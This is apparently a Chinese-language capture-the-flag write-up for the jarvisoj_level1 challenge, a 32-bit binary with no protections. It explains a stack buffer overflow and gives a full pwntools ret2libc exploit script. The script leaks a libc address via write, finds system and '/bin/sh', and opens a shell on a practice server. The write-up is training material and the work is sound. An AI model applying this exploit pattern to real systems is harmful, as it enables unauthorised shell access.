jarvisoj_level1
例行检查,32位,未开启任何保护。
运行一下,给了一个地址 0xffef96b0
用IDA打开,查看主函数
查看function函数。由此我们可以知道 bufadddr= 0xffef96b0,
buf存在溢出漏洞。由于题目并没有开启任何保护。所以我们可以先通过read读入shellcode,然后利用溢出漏洞将ret覆盖为buf参数地址(此时buf里是shellcode)去执行即可获取shell。
远程连接不会回显buf的地址上述的方法只能本地打通
查看了别人的wp才知道还是得用ret2libc的方法
from pwn import *
from LibcSearcher import *
r = remote('node3.buuoj.cn',26135)
elf = ELF("./level1")
main_addr=0x80484b7
write_plt=elf.plt['write']
write_got=elf.got['write']
payload ='a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x4)
r.send(payload)
write_addr = u32(r.recv(4))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
payload ='a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh)
r.send(payload)
r.interactive()